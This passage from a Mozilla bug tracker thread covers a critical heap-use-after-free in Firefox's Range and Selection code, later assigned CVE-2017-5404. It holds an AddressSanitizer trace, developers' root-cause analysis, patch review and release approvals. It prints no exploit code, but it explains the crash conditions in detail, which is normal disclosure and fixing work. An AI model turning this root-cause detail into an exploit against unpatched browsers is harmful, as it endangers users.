    #29 0x7f46d842c5b4 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent**, mozilla::dom::EventTarget*, nsEventStatus*) /home/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1297:20
    #30 0x7f46d8416eb3 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:465:5
    #31 0x7f46d841a744 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, nsIDOMEvent*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /home/worker/workspace/build/src/dom/events/EventDispatcher.cpp:822:9
    #32 0x7f46da62158e in nsDocumentViewer::LoadComplete(nsresult) /home/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1044:7
    #33 0x7f46dcae3e7f in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7632:5
    #34 0x7f46dcadfc44 in nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7426:7
    #35 0x7f46dcae765f in non-virtual thunk to nsDocShell::OnStateChange(nsIWebProgress*, nsIRequest*, unsigned int, nsresult) /home/worker/workspace/build/src/docshell/base/nsDocShell.cpp:7323:13

SUMMARY: AddressSanitizer: heap-use-after-free /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/RefPtr.h:308:36 in operator!
Shadow bytes around the buggy address:
  0x0c168003a940: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa
  0x0c168003a950: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa
  0x0c168003a960: fa fa fa fa fa fa 00 00 00 00 00 00 00 00 00 00
  0x0c168003a970: 00 00 00 fa fa fa fa fa fa fa fa fa fd fd fd fd
  0x0c168003a980: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
=>0x0c168003a990: fa fa fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd
  0x0c168003a9a0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
  0x0c168003a9b0: fd fd fd fd fd fd fa fa fa fa fa fa fa fa fd fd
  0x0c168003a9c0: fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa fa
  0x0c168003a9d0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c168003a9e0: fd fd fa fa fa fa fa fa fa fa fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==119582==ABORTING
Group: firefox-core-security → dom-core-security
Severity: normal → critical
Component: Untriaged → DOM
Product: Firefox → Core
Hey Ivan thanks for the report!
Status: UNCONFIRMED → NEW
Ever confirmed: true
Assignee

Comment 2

2 years ago
Using local trunk builds on Linux, this is a null-pointer crash in both debug and opt builds.
We crash when we get a call to nsRange::UnregisterCommonAncestor with aNode=null.

In a debug build, there's a bunch of "disconnected nodes" assertions leading up to the crash:
ASSERTION: unexpected disconnected nodes: 'aDisconnected', file dom/base/nsContentUtils.cpp, line 2433
...
ASSERTION: unexpected disconnected nodes: 'aDisconnected', file dom/base/nsContentUtils.cpp, line 2433
ASSERTION: unexpected disconnected nodes: 'commonAncestor', file dom/base/nsRange.cpp, line 996
ASSERTION: bad arg: 'aNode', file dom/base/nsRange.cpp, line 426
Whiteboard: [disclosure date May 17 2017]
Mats, are you able to work on this?
Flags: needinfo?(mats)
Priority: -- → P1
Flags: needinfo?(bugs)
[Tracking Requested - why for this release]: public disclosure date partway into the Firefox 53 release cycle.
Assignee

Comment 5

2 years ago
The root cause here is that we set up the Range in the Selection with one
node inside a native anonymous tree and one node outside.  It's the NAC
<div> inside the <progress> element.  Then we destroy the <progress> frame
and create a AnonymousContentDestroyer, which when it runs calls
UnbindFromTree on the NAC.  The Range isn't notified about this though
so now it has a NAC boundary point with a null parent.  Now, CC detects
that it can collect both the Range+Selection and calls nsRange::Reset,
which calls nsRange::DoSetRange which tries to unregister the Range on
the GetCommonAncestor() node but it's null due to the NAC's null parent.
The result is a node in the tree referring to a deallocated nsRange.

The root cause is basically bug 1329658.  I fixed char/word movement
in bug 1328030 but line movement remains to be fixed.  I wasn't aware
this could lead to UAF at the time though.

We could also try to make nsRange more robust against this by falling
back to checking all ancestors of the non-NAC node.  Or, simply storing
the common ancestor node on the nsRange so that it can always be found
later when we need to unregister.

> Mats, are you able to work on this?

Generally, I think the DOM team now owns the Range & Selection code.
And I feel like these bugs take too much of my time.

I can take a look a making GetCommonAncestor() try harder in this
case to wallpaper it, which seems reasonably simple.  But I'll leave
bug 1329658 for someone else.  (I left some pointers on what code to
fix there.)
Flags: needinfo?(mats)
sure, DOM team owns Range, but you've been looking at the relevant code quite a bit ;)

If you don't have time for this, ping me, and I'll try to find time.
Assignee

Comment 7

2 years ago
Posted patch fix (obsolete) — Splinter Review
It looks like the "enabler" for this bug is bug 384706, which made
nsFind::Find return ranges with mMaySpanAnonymousSubtrees = true
which the caller then adds to the Selection.  This range can then
be exploited by making it span into a NAC tree since that flag
disables the defense we have for that in nsRange::IsValidBoundary:
http://searchfox.org/mozilla-central/rev/b1044cf7c2000c3e75e8181e893236a940c8b6d2/dom/base/nsRange.cpp#1156

I don't think setting mMaySpanAnonymousSubtrees was actually needed
for window.find() to fix bug 384706 in the first place, it looks
like an unintentional side-effect.  And there's actually no need
to _return_ a result range with that flag at all AFAICT, it's just
needed for the internal ranges nsFindContentIterator uses, and
only for the specific case of searching in unstyled XML.

https://treeherder.mozilla.org/#/jobs?repo=try&revision=de4baea5d01d2cad67376d9291f161e022bf0229
Assignee: nobody → mats
Attachment #8841503 - Flags: review?(bugs)
Why is it safe to use CreateRange in nsFindContentIterator ?
Assignee

Comment 9

2 years ago
Those ranges are only used internally, never exposed to DOM or added to a Selection.
Since they're not in a Selection, they aren't registered on a DOM node and thus
don't suffer from this bug.
Assignee

Comment 10

2 years ago
BTW, nsFind is still the only place that set mMaySpanAnonymousSubtrees AFAICT
(apart from CloneRange), so this patch is complete in the sense that there's
no other way to expose such a range to DOM:
http://searchfox.org/mozilla-central/search?q=MaySpanAnonymousSubtrees&path=
Ok, why do we then need to change nsWebBrowserFind::SearchInFrame? Those ranges aren't added to selection either.
Assignee

Comment 12

2 years ago
Because they don't need that flag and I moved nsFind::CreateRange to the protected
section now to avoid anyone using it by mistake.
I'm having hard time to understand why the patch doesn't affect to searchRange handling, in case selection is somewhere in anonymous content.
Flags: needinfo?(mats)
Assignee

Comment 14

2 years ago
Perhaps this helps:
http://searchfox.org/mozilla-central/rev/90d1cbb4fd3dc249cdc11fe5c3e0394d22d9c680/toolkit/components/find/nsFind.cpp#1022-1024

This code is only looking for text nodes.  All NAC text nodes in Gecko are inside anonymous
block frames as far as I know, so this code will never result in a matching range that spans
a NAC to non-NAC.  If it's inside a NAC tree then I think the result already has the right
root, and nsRange::IsValidBoundary will also do the right thing:
http://searchfox.org/mozilla-central/rev/b1044cf7c2000c3e75e8181e893236a940c8b6d2/dom/base/nsRange.cpp#1165
Flags: needinfo?(mats)
Assignee

Comment 15

2 years ago
Posted file Testcase
Here's a test that shows we can still find text inside a <textarea> for example.
Comment on attachment 8841503 [details] [diff] [review]
fix

>+  friend class nsFindContentIterator;
>+
>+  static already_AddRefed<nsIDOMRange> CreateRange(nsINode* aNode);
Move CreateRange to the iterator class and make it private there.
Attachment #8841503 - Flags: review?(bugs) → review+
Assignee

Comment 17

2 years ago
Posted patch fixSplinter Review
Nit fixed.
Attachment #8841503 - Attachment is obsolete: true
Attachment #8841680 - Flags: review+
Assignee

Comment 18

2 years ago
Comment on attachment 8841680 [details] [diff] [review]
fix

[Security approval request comment]
>How easily could an exploit be constructed based on the patch?

I suspect it's hard, the only clue is that it has something to do
with DOM ranges.  If you spend some time backtracking how this code
is used you can probably figure out that window.find() is using it.
But from there you'd still have to find a way to modify that range
to get one of the end points inside native anonymous content and
then destroy that node to get the condition for a crash.

>Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

No, see above.

>Which older supported branches are affected by this flaw?

All.

>Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

I'm pretty sure the current patch applies as is to branches.

>How likely is this patch to cause regressions; how much testing does it need?

This code is used by window.find(), Find(CTRL+F) and FAYT (find-as-you-type).
The mMaySpanAnonymousSubtrees flag isn't needed for normal web pages,
so it seems pretty unlikely to affect that.
I've tested that searching in unstyled XML content still works using
a local Linux debug build, but if QA can verify that on other platforms
would be good (bug 384706 has an example in the URL field).
Testing Find(CTRL+F) and FAYT and anything else that involves searching
for text in the web page contents would be appreciated.
Attachment #8841680 - Flags: sec-approval?
Assignee

Updated

2 years ago
Flags: needinfo?(bugs)
(In reply to Mats Palmgren (:mats) from comment #18)
> I'm pretty sure the current patch applies as is to branches.

This close to shipping (no more betas) we need to be more sure than that. I can sec-approve this but not grant beta approval at this point. If we can't get beta approval I'd rather this didn't land until a couple weeks after the merge.
Comment on attachment 8841680 [details] [diff] [review]
fix

sec-approval=dveditz, but DO NOT LAND on nightly unless we get beta approval for 52 (please fill out the request). If we don't make it into 52 we might get this as a ride-along in a point update, and Fx53 will still beat the Project Zero disclosure date.
Attachment #8841680 - Flags: sec-approval? → sec-approval+
Whiteboard: [disclosure date May 17 2017] → [Don't land until March 20 unless approved for 52][disclosure date May 17 2017]
Assignee

Comment 21

2 years ago
The files is under embedding/ in Beta rather than toolkit/ but the code
is the same.  I've verified it fixes the crash on Beta too.
Assignee

Comment 22

2 years ago
Comment on attachment 8841680 [details] [diff] [review]
fix

Approval Request Comment
[Feature/Bug causing the regression]: bug 384706
[User impact if declined]: exploitable crash
[Is this code covered by automated tests?]: I can't find any feature tests for window.find().  I suspect we have some for Find/FAYT, but I'm not sure.
[Has the fix been verified in Nightly?]:no, not landed in Nightly yet
[Needs manual test from QE? If yes, steps to reproduce]: Yes, it would be good to test Find(CTRL+F) and FAYT (find-as-you-type), both in normal web pages and in XML source (see URL in bug 384706), just as a sanity check.
[List of other uplifts needed for the feature/fix]: no
[Is the change risky?]:low risk
[Why is the change risky/not risky?]: we only removed setting the mMaySpanAnonymousSubtrees flag in some places, which shouldn't be needed for most use cases (i.e. search in normal web content), only for searching in unstyled XML documents (bug 384706), so it's pretty limited to that rare edge case
[String changes made/needed]:none
Attachment #8841680 - Flags: approval-mozilla-beta?
Attachment #8841680 - Flags: approval-mozilla-aurora?
Assignee

Comment 23

2 years ago
The patch applies cleanly on Aurora, and I've verified it fixes the crash there.
Can you also request uplift to mozilla-release since we already did the beta to release merge? 
I think we may also need separate patches for esr-45 and esr-52.  I would like to start the esr52 build today if possible.
Assignee

Comment 25

2 years ago
Comment on attachment 8841680 [details] [diff] [review]
fix

sec-critical fix for aurora53

moving beta approval flag to the other patch.
Attachment #8841680 - Flags: approval-mozilla-beta?
Attachment #8841680 - Flags: approval-mozilla-aurora?
Attachment #8841680 - Flags: approval-mozilla-aurora+
Comment on attachment 8841726 [details] [diff] [review]
patch for Beta

last-minute sec-critical fix for beta/release 52.

Should be in 52.0 build2
Attachment #8841726 - Flags: approval-mozilla-release+
Attachment #8841726 - Flags: approval-mozilla-beta+
Assignee

Updated

2 years ago
Flags: in-testsuite?
OS: Unspecified → All
Hardware: Unspecified → All
Marking this as a 52 release blocker because we should not ship without this fix now that we've landed the patch.
Whiteboard: [Don't land until March 20 unless approved for 52][disclosure date May 17 2017] → [disclosure date May 17 2017]
Assignee

Updated

2 years ago
Flags: needinfo?(mats)
Attachment #8841726 - Flags: approval-mozilla-esr52?
Attachment #8841726 - Flags: approval-mozilla-esr45?
Assignee

Updated

2 years ago
Attachment #8841726 - Flags: approval-mozilla-esr52?
https://hg.mozilla.org/mozilla-central/rev/b76ee87a9589
Status: NEW → RESOLVED
Closed: 2 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla54
Whiteboard: [disclosure date May 17 2017] → [disclosure date May 17 2017][adv-main52+]
Alias: CVE-2017-5404
Comment on attachment 8841726 [details] [diff] [review]
patch for Beta

Fix a sec-critical. ESR45+.
Attachment #8841726 - Flags: approval-mozilla-esr45? → approval-mozilla-esr45+
Whiteboard: [disclosure date May 17 2017][adv-main52+] → [disclosure date May 17 2017][adv-main52+][adv-esr45.8+]
Group: dom-core-security → core-security-release
The corresponding Project Zero bug has been made public.
Group: core-security-release

Comment 36

2 years ago
(In reply to Mats Palmgren (:mats) from comment #5)
> The root cause here is that we set up the Range in the Selection with one
> node inside a native anonymous tree and one node outside.  It's the NAC
> <div> inside the <progress> element.  Then we destroy the <progress> frame
> and create a AnonymousContentDestroyer, which when it runs calls
> UnbindFromTree on the NAC.  The Range isn't notified about this though
> so now it has a NAC boundary point with a null parent.  Now, CC detects
> that it can collect both the Range+Selection and calls nsRange::Reset,
> which calls nsRange::DoSetRange which tries to unregister the Range on
> the GetCommonAncestor() node but it's null due to the NAC's null parent.
> The result is a node in the tree referring to a deallocated nsRange.
> 
> The root cause is basically bug 1329658.  I fixed char/word movement
> in bug 1328030 but line movement remains to be fixed.  I wasn't aware
> this could lead to UAF at the time though.
> 
> We could also try to make nsRange more robust against this by falling
> back to checking all ancestors of the non-NAC node.  Or, simply storing
> the common ancestor node on the nsRange so that it can always be found
> later when we need to unregister.
> 
> > Mats, are you able to work on this?
> 
> Generally, I think the DOM team now owns the Range & Selection code.
> And I feel like these bugs take too much of my time.
> 
> I can take a look a making GetCommonAncestor() try harder in this
> case to wallpaper it, which seems reasonably simple.  But I'll leave
> bug 1329658 for someone else.  (I left some pointers on what code to
> fix there.)

Mats, how <progress> get destoryed? I can't understand.
Component: DOM → DOM: Core & HTML
You need to log in before you can comment on or make changes to this bug.